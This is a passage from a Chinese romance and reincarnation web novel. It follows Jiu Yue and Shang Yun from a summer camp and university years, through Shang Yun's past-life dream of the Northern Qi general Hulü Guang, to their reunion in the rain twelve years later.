一气呵成,连贯而迅猛。教练都看呆了,惊为天人。 现场静得连根针掉在地上都能听见,好半天才听教练叫了一声“好”带头鼓掌,大家反应过来,爆发雷鸣般的掌声。 尚云在掌声中,回头看向身后的九月。九月激动得小脸发红,忘情的扑过去,一把抱住尚云。 他宠溺地笑道,“九月,大家都在呢。” 她这才撒手。 周围起哄,带头一齐道:“俯卧撑!俯卧撑!俯卧撑!” 那男生众目睽睽下,也不能赖账,何况他是心服口服。 正准备伏下身子,尚云却道:“俯卧撑就算了,你也不算输,我们的规则只说中靶数量的多寡,咱俩都中了十只箭,成绩持平。” 教练心里更是觉得这个孩子气度不凡,于是把大家遣散,“大家抓紧时间练习。再过五分钟就要上场实践了。” “小兄弟,叫什么名字?”那输箭的男生特地走到跟前问道。 尚云简洁地报了自己名字:“尚云。” “我姓金,名志高。今天算我欠你一回。”金志高朝尚云一笑,走了。 有人说,这世上没有无缘无故的相逢,所有经历的事,认识的人,本来命里就有因有缘。本以为是匆匆过客,却不料是命运转折的贵人。 在后来尚云走投无路时被人出手相助,这个人居然就是金志高,他才感叹命运之奇妙。 “走吧,教我练习箭术。”九月兴奋道。 尚云还没回应,被九月推搡着走了。 又听九月在耳边叽叽喳喳说得热闹:“你是什么时候学会的?从来没听你提过!你不知道,刚才看到他十箭全中,我心都快跳出来了。心想完蛋了,你可从来没学过,这次要丢脸了。寻思着要不要跟人道个歉什么的,100个俯卧撑咱们可吃不消。没想到你才是大大大高手耶。回去我可要跟朋友们同学们好好炫耀一番......” 尚云安静地听她讲,看她那眉飞色舞的模样,他的眼底也流溢出笑意。 如果说射击技术让大家开了眼界,那么尚云的骑马术让大家更加叹为观止。 骑马的场所是靠近沙漠的一处平原,学员中会骑马的鲜少,少数几个人不用教就能骑,但也只敢在安全马场兜圈圈。 九月对骑马兴趣很浓,忙央求教练告诉她要领。平时也是孩子王,浑身上下没点女孩子的娇柔,骑马项目倒是符合了她的野性,没几圈就敢单独上路,骑得那叫一个欢快。 尚云则是骑着马儿悠哉游哉跟在她身后。 觉得可以进入广茅的大跑马场了,九月比着胜利手势,“出发啦。” 这时一个女生的马儿从另一个方向横冲过来,尚云几乎同一时间喊道:“九月,当心!” 好在九月反应快速,用腿狠狠踢马儿肚子,马儿吃痛,飞一样的冲出去,快速避开了吓得花容失色的女生。 但这么一来,马儿如飞驰电车,越跑越快。九月也吓得直求助:“救练!尚云!要怎么停下来?!” 教练和尚云的马同时在后面追,大家为九月捏了一把汗。 这时,尚云一番行云流水的操作让人惊掉下巴。就在他骑的马与九月的马齐平的时候,他一个侧身单手扶着马鞍,身体悬空,伸出另一只手揽过九月的腰,转瞬即将她掠了过来,翻身上马,二人共骑一匹。 这精彩绝伦的一幕,没有数十年的功力可玩不来! “我滴个乖乖。”教练松了一口气,见二人安全无虞,自己则慢下来,看着二人越来越远。 风在耳边呼啸,夕阳在大地上涂满均匀的金黄色。 九月心魂甫定,迎风说道,“尚云,今天我才知道,你是老天赐给我的保护神!”她差点以为自己这条小命,今天就要交代在这儿了。 尚云脸色黑沉如水,没理会她。 九月回头看他,四目相对,一双天真疑惑,另一双则幽深无比,且略有愠色。 “你怎么啦?你这样好吓人!” “以后不准冒险!”尚云低声短短几个字,强硬无比。如果他不会骑马,如果今天自己不在这里,后果不堪设想。刚才那一瞬,他的胸口几乎停窒。 “这是意外呀!”其实挺无辜的,如果不是那个女生骑马冲到马场入口处来,这事怎么可能会发生。 “不准冒险,哪怕是意外!”他声贝提高了不少,凶狠的语气不容置疑。 九月哑然。本以为他会像以前那样关怀她,没料到尚云会凶她,这几年相处还是头一遭。 第七章 老人谶言 自那以后,九月再也无法像从前那样,在尚云面前撒娇胡闹。 而尚云也总是一副心事重重的样子。 暑假很快结束了。 尚云去了另一个千里之外的地方上大学,临行前一晚,尚云桌上放着一幅名叫《漠影》的画,大漠苍凉底色中,一俊美少年身着战袍,弯弓指月,欲将天空那轮悬月射下来。在不起眼的角落,一个小小侠女,则一脸敬仰的双手交合在胸前,似乎在凝神静待,又似乎在遥遥相祝。落款为一朵云,一弯月。 尚云唇角勾起,眼底布满暖色。小心将画折叠好,收进行李箱。 都说大学生活是最肆无忌惮的青春,可尚云大学生活简单到像是在修炼,不是在上课,就在图书馆。 这天正在攻读一部学术作品,突然有人发出不可思议的声音:“尚云?” 尚云抬起头,觉得对方有点眼熟。“你是?” “我是金志高呀,一起夏令营比试箭术的那位。还记得吗?”金志高拉开椅子,隔着桌子在他对面坐下。 经这么一提醒,尚云想起来了:“你也上大学了?” “我本来就是高考结束后参加的夏令营,开学就来这里了。我还一直称你为初中生呢,看起来好显小,没想到是同一届的校友。”金志高亦然没有从不可思议的表情中缓过来。 尚云并不想谈论这个话题,岔开话题道:“你在哪个系?” “历史系。我喜欢研究冷兵器,古今中外的冷兵器我都喜欢。”金志高扬扬手中的书,尚云看封面上写着“北史”字样。“你呢?” “怪不得你的箭术还可以。”尚云认可道。 金志高用手掌在脸上抹了一把:“要是别人说可以我信,你这么说我可惭愧得不行。你还没告诉我,你学哪个专业的?” “工商管理。”尚云又埋下头看书。 此后二人接触的时间渐渐多起来,大部分时间金志高去找尚云,尚云十有八九都在图书馆。因此金志高也跟着看了不少书,今日又看完一册《北史》合上,感慨万千,“历史的迷人之处在于足够真实,后世能从中学到经验,摆脱因果;也足够残忍,残忍不公到令人发指。” “什么事这么感慨?”尚云随口问道。 “北齐英雄斛律光无故被灭全族,北齐因此灭亡。虽说活该,但心下总归是凄凄然。天下多的是无能昏君,怪只怪英雄生不逢时。”金志高唉声叹气,又说,“明天我小姨来看我,一起出去吃个饭吧?” 尚云想也不想直接回绝:“你家人来看望你,我去了不合适。再说手头计划还没完成,谢谢你的美意了。” “为你而来的。” 尚云这才抬起头来:“什么情况?” 金志高吱吱唔唔道:“我嘛家教太严,天天要跟家人汇报情况。每天跟你在一起时间最多,难免会提及、夸赞你之类的。再说你本来就很优秀,就因为太优秀让家人误以为我在撒谎,这不就来一探虚实了。你不能不去,不然我这撒谎的罪名可就坐实了。” 看似天衣无缝,但尚云觉得应该没这么简单,也不便说破,便应承道:“好吧。我把时间再调整下,明天几点?” “欧啦!明天六点,不见不散哦!”金志高欢快起身,“我得走了,这本书一会帮我放回去。谢谢啦。” 尚云一脸狐疑目送他离开。目光却落在这册《北史》上,他迟疑片刻,拿起来翻了翻。 细细研读《北史·斛律光传》,斛律光遭人诬陷谋反而全族诛灭,邢祖信去抄他家时,却只发现解斛律光家中仅十五张弓,一百支箭,还有朝延赐予的两支长矛。 “......家风严明,官位显赫,家资丰厚,却依然节约省俭,疏于声色玩好,不经营家产,不谋取财利,杜绝一切馈赠贿赂,不结党营私......” 他只觉心如刀绞,通篇文字犹如活生生的影像一幕幕在眼前展开,每一句描写都鞭打着相应的记忆,一寸寸苏醒。清醒如利刃般割在身上,疼得他五脏六腑开始痉挛。 一包纸巾落在他的面前,尚云抬起朦胧泪眼,对面一个女孩朝他微微一笑,手指了指自己的双眼,他点头感谢,却起身去了洗手间,在水池旁双手接水洗脸,然而双手捂面,肩膀犹如秋叶般剧烈抖动。 当天夜里尚云开始发高烧,梦里生生死死、反反复复。模模糊糊间像是走在山间小道,随胞弟一齐钻入古峰狩猎。为追一只黄狐,却在山脚下遇到一个瘦骨伶仃的老人,神情安然,颇有仙风道骨之相。 那老人走不动道,他便善心蹲下背起老人,按照他的指引找到桃源草居。老人道了谢,又叫住他,“贵人留步,你命犯劫煞孤辰,刑克厉害。不得不防。” “休得胡说,亏我好心帮你。”尚云拂袖就要走。“斛律世家荣光正盛,枝叶繁茂,何来命犯孤煞之说。” 老人似乎并不生气,接着说道:“初年主家豪富,中年之后刑亲克友,除了15岁内的亲友可幸免于难,其他亲友无一幸免。若无大举善念化解,将三生三世命运反复,一辈子孤苦伶仃,六亲无缘,孤独终老之相啊!” 尚云气得七窍冒烟,不再听他胡诌,只当是恶意诅咒。若不是见他年老力衰,真应该一掌了他性命。 然而转眼才一七之久,全族人等尽数迎来了灭顶之灾。 毕生尽君报国,一生为民为国,福报未了。他转生投胎至一代富豪“古家”,古力详中年得子,取名古尚云,珍捧之意不言而喻。从小带在身边,悉心栽培,却在古尚云十二岁这年迎来苦厄命运,全家死于非命。 他在殡仪馆转生,逃过一劫。 一生的经历竟像压缩过的影片,以快进形式重温。然而,场景转换,他身临一个陌生地界,看到一个女孩在白茫茫的迷雾里号陶大哭,他走近一看,发现那女孩竟是九月。 “九月!九月!”任他怎么喊她,她也听不见,只顾满脸泪水轮番呼唤她的爸爸妈妈以及奶奶。 他费尽全力挣脱梦魇,额前的头发被汗水浸湿,像刚淋了雨。“15岁?15岁!” 史书上记载着,斛律家族15岁以下被赦免! 正如梦中老人所言。 尚云去洗手间,用水洗了把脸,看着镜中铁青的脸庞余惧未消,嘴唇颤抖则像是涂了血色,呼出来的热气像是刚烧开水的蒸汽一样,烫人。他虚软的胳膊微抬,用手背探探了额头,高烧仍未退。 九月,九月今年也正好15岁! 犹记得梦中九月孤身一人,嘶声裂肺地喊着家人......他缓缓摇头,像是要说服自己,嘴里反复念叨:“不会的,不会的,慕家不会有事。这只是梦,只是巧合。这是二十一世纪,不是北齐!” 他脚底虚浮,跌跌撞撞回到床铺。头很昏沉,意识却出奇的清醒。 熬到了天亮,他在同学的搀扶下去了校医处,生平第一次请病假没去上课。 晚上金志高来找他,尚云已经退了烧,虽精神萎靡,却信守承诺陪同前往。 第八章 抽屉里的秘密 相比尚云在大学里的惊心动魄,安源镇上倒是一切如常。 在尚云离家后的那一段时间,九月总是发呆,失眠。也是在那时候,十五岁的她,终于发现心里有一个地方,自动腾出来装下关于他的一切。眼睛不由自主就望向他平时经常出现的地方,仿佛他会突然出现。 就连往常很平常的话,她也总是反复回味。 九月,你的书带齐了没有?粗心马大哈! 九月,我晚上要给人补课,你先回去,我已经跟隔壁王妞说好捎你一起。 九月,我不爱吃鸡腿,你帮我吃了。 九月,别去学自行车了,鼻青脸肿可别找我哭…… 于是,百无聊赖的日子,她偷偷画了很多画像,都是关于他。那一份强烈的青涩感情,她不敢表露,深深藏在心里、画里。 十五岁生日那天,她生日许愿,但愿生活里的圆满一直无限期延续。圆满是什么?就是尚云、爸爸妈妈、奶奶,永远在自己身边。 而圆满又是什么时候嘎然而裂的呢? 九月不确定,裂缝是否从那天开始。 她做完作业,忍不住又给尚云写了一封信,经常是尚云的信还没回过来她又寄出新的信。 写好这封准备第二天寄给尚云。担心妈妈进房间会看到信的内容,她要把封封好,“奇怪,明明上次还剩很多,怎么一个信封都没了?” 找了老半天,才想起以前让尚云帮她寄信去杂志社的时候,剩下的信封和邮票都留在他房里了。 他写的字很大气,潇洒遒劲,像个绘画的艺术家写的。她的字虽然娟秀,但比起来显得小家子气。因此每次都是让尚云帮他写封面。 在他书桌书架上没找到,终于在抽屉看到。“找到了。” 尚云的抽屉物品摆放得很整齐,连爱整洁的她都自惭形秽。拿出信封后,在抽屉关上的瞬间,九月看到抽屉里的书下面压着一张画着人像的白纸。 好奇心使然,她犹豫了。 从来不乱翻他东西,但此时却鬼使神差地把书移开,拿起那张纸来。这张画大概是他自己画的。尚云经常陪她去上美术课,会一点简单的素描基础。 这画的谁? 发髻束于头顶,有玉簪固定,画中人穿着奇怪,有点像黑服劲装的古人扮相,手握一柄寒冰刀,那五官冷酷,双目半眯......九月定睛一看,发现跟慕爸爸神似。 九月扑哧笑出声,“好奇怪!尚云哥画谁不好,为什么要画爸爸呀?” 她无意翻过来,看到后面画着一个掌心大的圆,圆中间画了两道笔触几欲透纸的“x”。 九月看看画像,又看看背后的叉,表示不明白。等暑假他回来再问他,她将抽屉关上,将画带走了。 没想到,就在尚云暑假回来的那天,慕家突遭变故,倾刻之间家破人亡。这张画的事,再也没有机会问他。 算一算,已经十二年了,不多不少,岁月刚好辗了一轮。 九月已经慢慢淡忘这些陈年往事。偶尔促不及防的谈及过往,也能故作轻松的说,“时间真是个好东西,能让一切悲痛止痛,忘掉原以为忘不掉的人。” 对面的好友小竺恨铁不成钢的道:“骗鬼吧。在我这里就别装啦!若真风清云淡,为何一直拒绝接受别人追求,凭实力单身到今天?他能消失这么多年不联系你,说不定早已成家立业,你还在等什么,再等黄花菜都凉了。” 九月叹气:“我才二十七岁啊,说的我好像七老八十了一样。好不容易酝酿点文艺气氛,被你这七大姑、八大姨都放弃了的话题打回原形。” 小竺直翻白眼,伶牙利齿地随口就念叨上了:“也就我,还能在后边追着你,操心你的人生大事。你可长点心,女人的好光景能有几年,别说青春尾巴了快没了,咱至少争争气,得赶上女人优生政策的最后一道关卡。过了三十可就属于高龄产妇了。你这对象都没个影。急死我了。别跟我说什么打算孤独终老是时尚,等真到了那一天,摔了,晕了,头疼脑热了,你可怎么办?我到时拄着拐仗颤颤巍巍的,可管不了你了啊。” 九月被她最后一句话逗得扑哧一声笑出来,“好了好了,我知道了,‘小竺老奶奶’,这不是没有遇上投缘的嘛。” 小竺知道她一心敷衍,打算再继续给她上上课:“什么叫投缘的......” “停!收起你这紧箍咒!”九月一看这架势,赶紧堵住她,“你给我介绍,行了吧?我的老年生活质量,就交给你把关了。” 小竺这才一脸姨妈笑,“这孩子,终于懂事了。” “瞧你那出息,本想给你省份子钱,何苦上赶着,跟钱有仇似的。”九月低头,把碗里的汤一勺勺喝干净。“赶紧吃,我还得回去赶个画稿。要不是公司搬迁导致我成了无业游民,何至于让高大上不食人间烟火的梦想变成养家糊口的饭碗。” 小竺扑哧就笑了,“你这猛不丁的凡尔赛,还真是主动招人羡慕嫉妒恨呢。人家失业就真的财路全断,你失个业倒成了别人都追着合作的香饽饽。我可酸着哪。” 挑着碗里可口的菜肴放进嘴里,又补充说,“我可不希望省你那点份子钱,换来后半辈子的操心,赶紧找个对象我好脱手。人家蜜月呢,一生就结一次婚,体谅姐姐好吗?幸好今天这餐厅选得好,吃撑了我,还有这么多没吃完。” “没事,喜欢的话,下次咱再来。”九月说。 小竺故意夸张的说:“别!轻易别约我嗷,除非庆祝你结束单身。” “那咱俩这聚一次也太不容易了,猴年马月。” “不会,我明天就开始给你物色。” 两人说说笑笑,走出来,小竺的新婚老公正好赶到餐厅门口接驾,送走小竺,九月依然怔怔看着车辆远去的方向,尾灯在茫茫夜色中渐远渐弱。 在人前谈笑风生,落落大方。在无人处,悲伤汹涌而至。 寄蜉蝣于天地,渺沧海之一粟,哀吾生之须臾,羡长江之无穷。 她就如这个世间的蜉蝣,孤身无依,只有无法抵御的悲伤,随时能淹没她,谁在乎? 第九章 凶居滨海湾府? 像是听到了她的内心独白,手机适时的响起。 屏幕上来电标注“朱明”,时过境迁,唯独这位儿时老友还一直保持联系。 “喂,朱明哥?” “九月,在忙什么呢?” “在外面跟朋友吃完饭,正准备回去。” “哦,你现在哪?我也下班了,说不定顺路。” “呃,不用。已经约了车,马上就来。突然联系,是有什么事?” “咱们好歹也一块长大的,有事才联系岂不生分?”朱明尴尬地笑了。 九月的性格自十二年前家庭变故之后就大变,原来火爆的性子反转成冰雕性子,跟谁都刻意保持着距离。 但总有人例外,比如这些年一直陪在九月身边的小竺。能改变的是保护色,实质并没有变。朱明当然没有机会知道,他也是留学归来这两年,才联系上九月的。 他的专业主攻心理学,如今自己学成归来,在这座城市创办了自己的心理诊所,小有名气。两年前,九月彻夜失眠,到了两三天不睡觉的地步,工作和生活均受到不同程度的影响,才来询医问诊。命运就是这样神奇,两个失联十年的人又联系上了。 他发现九月有中度抑郁症,奇怪的是,九月不愿意接受催眠治疗法。 他无法知道她真正的病因,只能保守治疗,给她开了一些抗抑郁的药物,在生活和工作上给予建议和指导。 世上盛传很多心理疾病患者容易移情,爱上自己的主治医生。到他这里情况相反,九月性子冷淡到令他不适,而他对九月从小就心存幻想,只是那时九月全部的心思都在尚云身上,他只能远观。这次相遇瞬间唤醒曾经的悸动,无法自拔又陷入暗恋中。 九月沉默间隙,朱明又道:“我看你也有段时间没来复诊了。最近情况好些了吗?” “好多了,每天能睡四五个小时。” “我教你的方法都试了吗?” “没有。我也需要在夜深人静的时候创作,所以睡得少,正合我意。” 朱明沉吟一会,说道:“明天是我搬新家的日子,家里除了一些简单家具,还没好好布置。你在审美方面肯定要比我好,需要你的专业能力在这方面给我指点一二。” “乔迁之喜,当然要去祝贺一番的。”九月似乎已经上车了,声音在车子狭小的空间一下子有了静谧意味,“你把位置发我手机上,什么时间?我明天一定到。” “明天上午十点,我来接你吧。”朱明突然感觉路边不断闪逝的灯光都变得温柔了。 “那就劳烦你了。” 第二天,朱明早早等在九月楼下。九月提前五分钟出现在楼下,今天穿着较休闲,一件白衬衣配一件米黄卫衣,搭修身的牛仔裤,和百搭白鞋。柔顺而直的头发披洒在肩背上,温柔又养眼。 “九月......我在这。”朱明怦然心动,连说话都不利索了。他也是见过世面的人,却在九月这里一再沉沦。 九月将手中的礼盒交给他,“祝贺!小小心意不成敬意!” 朱明双手接过,“九月你太客气了。” 朱明的新家离她的住址并不远,十几分钟的车程。“滨海香苑。早有所耳闻,今天终于有机会参观。” “哦?你听说过?”朱明惊讶道,“也是,离得这样近。” 九月知道滨海香苑,原于三年前一则新闻,说有个爆发户在这里买了一栋别墅,后来才得知这栋别墅曾闹过凶杀惨案,一家三口殉命于此。而中介公司知情不报,后来爆发户跟中介公司打官司,十七年前的事被闹得沸沸扬扬。 看了新闻才知道,现在的“滨海香苑”就是17年前的“滨海湾府?”。出了凶杀案后才更名为滨海香苑。 朱明乔迁至此,住的也不是那栋别墅,算是一桩喜事。九月不便在这时候说这些,便默认了朱明的话。 到了十九楼,朱明打开一套房门,将九月请进屋。 “九月,你在这里坐会儿,我去洗点水果。几分钟就好。” “需要我帮忙吗?” “不用不用,你先在沙发上坐会。” 九月轻轻点点头。 等朱明走后,她百无聊耐地环顾这里。房子格局好,窗明几净,阳光充盈。室内采光极好,几乎没有死角。 确如房源介绍上描述一致。 物品摆放整齐,朱明说的是实话,几乎还没有几样家具,沙发也只是两只单独设计的移动式两用沙发椅。 右边是书房,房门敝开。书架上摆了一些医学专用书藉,还有一些装饰品。分类摆放,有规有矩。架子中间摆了一些奖杯和证书,还摆着一架相框。照片上阳光明媚,夏季特有的青郁草坪在阳光下,愈发青葱。 草坪上站着两个少年和一个少女,少女巧笑倩兮站在二者中间。两边少年均比她高出一个头,左边的少年俊眉朗目,眉宇微锁,有一种不符年纪的沉着,嘴角的微笑淡漠到似有似无。右边的少年眉清目秀,浑身散发书生的斯文气质,表情带着微笑。 九月怔怔凝望着相片,手指触觉到玻璃上一片冰凉,这才发现自己不由自主的把相框拿在手上了。轻轻抚摸左边少年的脸,指尖只有框镜的冷硬。看着三个熟愁的面孔,思绪不由自主飘进那青涩岁月里。 照片是她在初中毕业那天拍的。 每一届学生毕业,学校都会请专业摄影师来学校拍摄毕业照,拍完毕业合照后,就是自由拍摄时间。同学都聚集在校园各地,留恋着熟悉的记忆,寻着美丽的背景用来拍照。 那天,尚云来学校接她。空空落落地教室里,尚云帮她整理着课桌里零零散散的东西,她偶尔打打下手,挑出一些不必带走的物件。 朱明收拾完自己的东西,似乎有话对九月说。但是,尚云在场他始终找不到机会,于是站在旁边,坐立不安的样子。 室外离别前地欢笑相聚与口哨声不时传进教室。那花一样的年纪,虽然有淡淡离愁,却并没有领会离别真滋味。因此,该笑的时候笑,不该笑的时候还是没心没肺地笑。 像是被室外的热闹感染了,朱明终于坐不住了:“九月,你怎么不去拍照啊?” “昨天就拍过了。”九月调皮一笑,昨天几个要好的同学约好,在学校后山那片花海拍了许多照片。 “今天不拍了?”朱明有些失望。“要不拍张合影,留作毕业照嘛!” 尚云静静看了一眼朱明,没有说话。 第十章 尚云开拓大项目 九月眸子一亮,看向尚云,征询道:“对啊!在一起长这么大,好像还从没合过影,要不,去拍一张?” “那好,让你哥哥在这里帮你收拾,我们去拍照。”朱明立时阳光灿烂起来。 “那怎么行?”九月转头扯住尚云的衣角道:“尚云哥,我们一起。横竖就这点东西,一会再来收拾。” “好啊。”向来不爱掺和热闹的尚云,竟想都没想就答应了,让九月好一阵惊喜。 “走啦,快点啊。”她顾不上留意朱明晴转多云的脸色,奔出教室。 于是,三人在校园草坪里站成一排,有人欢喜有人忧。摄影师在镜头里盯了他们三人良久,始终不摁快门。最后,皱着眉头从镜头后探出头来说:“你们三个还真是一个表情组合,俩男生都给我笑起来!” 闪光灯亮了,摄像师一声“oK”后,一左一右站在九月身边的两男生,像是两块负极磁石相斥,瞬间离得远远的。各做各事,各走各路。 那时九月总是感觉莫名其妙,从不惹事生非争执脸红的两个学业拔尖、人品优秀的男生,怎么就是融洽不起来。 阳光热烈地照进房间,金色的光穿过树影,再透过窗外的玻璃,印在办公室里,空气悬浮着一束束光芒,让室内变得扑朔迷离。 朱明回来时,看到站在书房窗前那抹朝阳照射下的剪影,让他半天移不动步子。他一动不动站在不远处注视着她纤瘦的背影。“九月。” 九月回头,“这照片你还留着啊。” 朱明看到她手上的相框,回应道:“是啊,人生最美好莫过于那段青葱岁月。” “是啊!最美好。”她无声笑了。眼眶蓄满泪,因这一笑成串跌落在地。 朱明一下子手足无措,“九月......我不是故意的。” “没什么。”她将相框放回原位,恢复了疏离神情。 九月接过他递过来的纸巾,像个没事人一样,跟他说起房间该如何布置的事情。如何摆放家具和添置哪些物品,会从视觉上即美观又有空间感。 在表达的时候,发现朱明眉宇间都是歉疚之情,并没认真听她说话,便道:“这样笼统一说,你肯定也记不住。到时我发图给你。” “下午还有重要事要处理,那我就先回去了。”九月借口还有工作,就要告辞。 本来把九月叫来指点室内布置只是一个幌子,只是想制造单独相处的机会接近她。朱明没想到翘首以盼的这一天,竟被一张照片给打断了。悔不该当初。 九月患抑郁症跟家里变故定有关联,但她能马上若无其事,多半是装的。在这样的氛围下,再说什么都显得突兀,更别提再聊什么温馨话题。 想到这里,朱明说:“我送你。九月。” “不用,我想一个人呆会儿。”九月在朱明自责的目光中,合上大门。 九月在离开小区时,一辆黑色奔驰从她身旁擦肩而过。隔着车窗玻璃,一双沉静幽深的眼睛停留在她身上。直到车子已开过去很远,依然凝视后视镜中她的身影。 “老板,咱们是回公司还是直接去会见查总?”开车的助理木信问道。 没得到老板的回应,木信往后视镜看了一眼,发现尚云难得失神。 但尚云回过神来却精准回答了他的疑问:“直接去找查总。今天要将他这样项目签下来。” “我以为你没听到。”木信笑道,得到指令,车辆出门后直奔商厦广场。 “老板,真的要选这套房子吗?其实还有别的选择。”刚刚看的那套房子,在17年前是凶宅,中介公司也坦诚告知,刚跟一个业主结束一场官司,如果要买一定要慎重考虑,对双方都好。 “缘份。”“未了”二字他没有说出口。缘份未了的不只是这套房子,还有刚刚看到的人。 缘份?!木信难以置信地又看了尚云一眼。不过,只要是尚云做的决策,从来没有失误过。他这么选择,一定有他的道理。 事情似乎不太顺利。据知情人报,查老板突然有急事,推迟来商厦广场的时间,转而去了南湾酒店。 “情况有变,难道是竞争对手在搞事?” “跟上,这个项目值得拼尽全力,不能松懈。”尚云沉着道。 两人匆匆赶往南湾酒店,但车子驶上车道后,发现北边是效区,东西是繁华市区,木信一边往东面出口行驶一边问道:“老板,南湾酒店在哪?导航上没有这个位置。” “我来。”尚云下车,跟木信互换位置。 南湾酒店并不远,这个酒店名中带着“南”字,地理位置跟“南”搭不上边。而且这个酒店是九十年代的老建筑,支撑到现在已破旧不堪,早已废弃。 前不远就是高速口,交通线路便利,但是太偏远,导致废弃很久都没有人来收购这一块地。 远远看见查老板一行三人,和当地项目负责人接洽。 尚云停好车后,顺风听了一耳朵,“原来查老板准备收购这块地皮盖工厂。” “咱们要过去看看吗?”木信问。 “不用,等等吧。”他的目光巡视一圈,曾经那样繁华的地界,那时这块地皮包括酒店还属于古家资产,酒店金碧辉煌气派非凡,至今还能在酒店LoGo上看到“古”字样。 这个杂草丛生的空地,曾是个规划有序的停车场,那时车满为患来这里消费的人常常找不到车位,中间还有一个喷水池,一到晚上便以彩灯映射,如梦似幻。 如今这般落破模样,让人心生唏嘘。 等了一会,似是项目谈妥,双方准备进一步细谈。 “他们好像要离开了。”木信提醒。 尚云瞄准备他们上车的空隙,快步走到查老板身边交涉了几句。 “查总,幸会幸会!” “你是?” “我是普世文化咨询公司的负责人尚云,刚才看你打算购置这块地皮,查老板眼光挺好。它位置背靠山前有水,还远离城市喧嚣。 如果建工厂呢,浪费了天然条件,突显了它的缺点,如工厂成群就会带动周边经济,但一家很难独大。偏离生活区,出行安全是个问题,生活不便利也给员工造成不便,必然做不长久。离职率高了自然产品质量得不到保证,无论是员工稳定、安全稳定、产品质量稳定都大大提高了维护成本。 如果利用好天然条件,投资一个郊区度假村,投资回报要来得更快。” “你这视角看得倒是挺周全。我看你不是偶然碰见,来好心提醒我吧?”查老板听他一席话,顿时来了兴致。 尚云抓住机会直言道:“是这样的,我是贵公司招标项目的竞投者,因为公司成立时间不长,也没有非常重大的项目背书,一般来说都会质疑我们的资质,为得到这次公平竞标的机会,特地找机会跟您见面。 在此之前我们已经做了些功课,我给贵司面临的困境提两点建议,如果您听了并且落实下去解决公司的痛点,认为我们有实力,那么在竞标当天给我们客观公正的机会就可以了。我只需10分钟,可以在你车上聊,聊完,我就下车,不耽搁您大事。” 查老板想了想,反正自己也不会吃亏,饶有兴趣的同意了。尚云把车钥匙丢给木信,叫他开车跟在后面,自己则跟着上了查老板的车。 第十一章 再遇萧郎 九月从朱明住处出来后径直回了家,失神坐了一会,屁股没坐热,接到工作室打来的电话,询问画的事。 “放心,我马上就送来。”九月不带感情色彩地说完,就起身去取了一帧画,出门。 昨天就答应工作室说今天可以交稿,晚上熬到三四点才完成,囫囵睡了一觉,早上睡意正浓,七点钟的闹钟彻响,她想起答应了朱明的事,挣扎起床,去给他挑选乔迁之礼。 从工作室走出来,发现天色暗沉下来。想着离家不远了,平时久坐不运动,九月在旁边商店里买了一把伞,准备走回去。 没走出多远,雨哗啦啦的泼下来。穿着高跟皮鞋在雨水里,很快打湿了,粘粘糊糊地让人难受。 离家也没多远了,现在不上不下的实在尴尬。九月干脆脱下鞋子,提在手上,赤着脚穿过广场。 “喵。”细微凄惶的声音飘进九月耳朵。 九月慢慢停下脚步,扭头寻找声音来源。 那是一只小黄猫,它的脚怪异伸展,前脚蜷缩在身下,仔细一看就能发现它的左后腿是残疾的。虽然它极力把身子缩在广场的石櫈子下,初秋的雨砸下来,依然浇个透湿。 淋湿的毛发紧贴着身上,更显得瘦骨嶙峋。那双被雨水糊住微眯的眼睛,黯然无光,一动不动的看着九月光裸着的双脚。也许,它虚弱得根本无力抬头。 九月怔怔看着它。 曾经,也是这样的瓢泼大雨。 十五岁的她挨家挨店的找工作,因为还未成年,人又瘦弱。找不到像样的工作。又冷又饿,彷徨在街头。 大雨如帷幕白茫一片,她在雨里孑然而立,任雨水浇注。路上行人匆匆,没人注意她狼狈瑟缩的身影。 她是一个被上天抛弃的孩子,是一个不被保护的生物,浮游在这天地间,飘飘荡荡无处可躲。 一个没有家,没有任何希望的生命,在命运巨轮里,是那么微乎其微。那时的她,木然的站在马路中间,怔怔看着家门前那棵熟悉的大榕树,才发现自己不知不觉又回到了安源镇。 那个小城镇,装载了她十五年的记忆。然而,那时的安源镇除了飘缈地回忆和家人的坟墓,已经没有任何一样东西属于她。 直到急转弯的车辆飞驰而来时,她木然看着迎面而来的车头。如果不是突然冒出来的路人及时拉她一把,她在十五岁那年就已横尸雨街,身骨被车轮碾碎了吧? “喵!”小黄猫把头低了下去,几乎挨地。雨水落在地上,溅得它满脸都是点点泥星。 九月从回忆里抽身,走近几步,把伞放在地上,抱起小猫。小猫湿淋淋的身子,依顺的靠在她怀里。低低喵呜一声。 “跟我走吧,以后,我们相依为命。”九月眼泪与雨水合成一片,她抚了抚小猫,撑着伞准备离去。 这一幕,悉数收揽进一双清眸里,俊眉微拢,随即开车跟上。 “九月!”一个男子的声音不大不小,在雨中威慑而微冷。 九月停下脚步,看到一辆墨色奔驰停在身旁。半开的车窗,露出一张英俊冷漠的面孔。 “尚云……”九月石化了,站在原地几疑在梦里。看着他走下车,绕过车头走到她身边。 “先上车。”雨水打湿他的头发,从额前的碎发滴落到他脸上。他变成熟了,更丰神俊朗。 九月想过一千遍一万遍重逢,却没想到这个魂牵梦绕了十二年的人,竟然就这样毫不设防地出现! 她点点头,心神不宁地收起伞。刚收好伞,手上的鞋子掉落在地,捡起鞋子,伞又掉了。猫咪窝在她怀里,生怕也掉下去,爪子紧紧攀住她的手臂,划出几条血痕。 在他隔着雨帘的注视下,一人一猫狼狈之极。 他平静地弯腰帮她捡起伞。一言不发看着她坐进副驾驶,帮她关好车门。 车行驶在c市宽阔街道上,车子的隔音性能很好,外面嘈杂的哗哗雨声被隔离,车内静得出奇。 “喵……”小黄猫好奇的探出头,没有雨水的浇打,它的精神好了许多。 古尚云瞥它一眼,紧蹙着眉宇,深邃的目光重新专注于前方路况。 九月把脸转向窗外,一再抑制泪水无声涌出来,顺着脸颊滴在衣襟上。心里一团乱麻。 十五年不见,他平静得近乎无情。 无情?也好,这样就省了很多事。每次预想两人再次相遇,心中总是跳跃着希望之火。而一想到再见也是两不相欠,心里就针扎一般的疼。她还想好了怎么撇清与他的关系,想好了他再来找她时,她该说的脱身之词。 现在好了,再见萧郎,已是路人。多好! 多纠结的预想,多决绝的脱身之词,在此刻都成了尘埃,随风消散。 她是该高兴的,可全身都抖得厉害。她怒力牵动嘴唇的笑容,却让苦涩爬上嘴梢。 他皱眉看她簌簌抖动的双腿,把暖气打开了。 英俊挺拔的外表,气宇轩昂、沉着稳重的气质,不说话时仍有一股慑人心魂的魅力。再看他的举止投足,和这辆豪车。她心里像是落下了一块石头——他过得很好,比自己想像中的好很多。十五年不见,他的风采光芒更胜当年。 果然如“西服男”所言,他平步青云,会衣锦还乡。 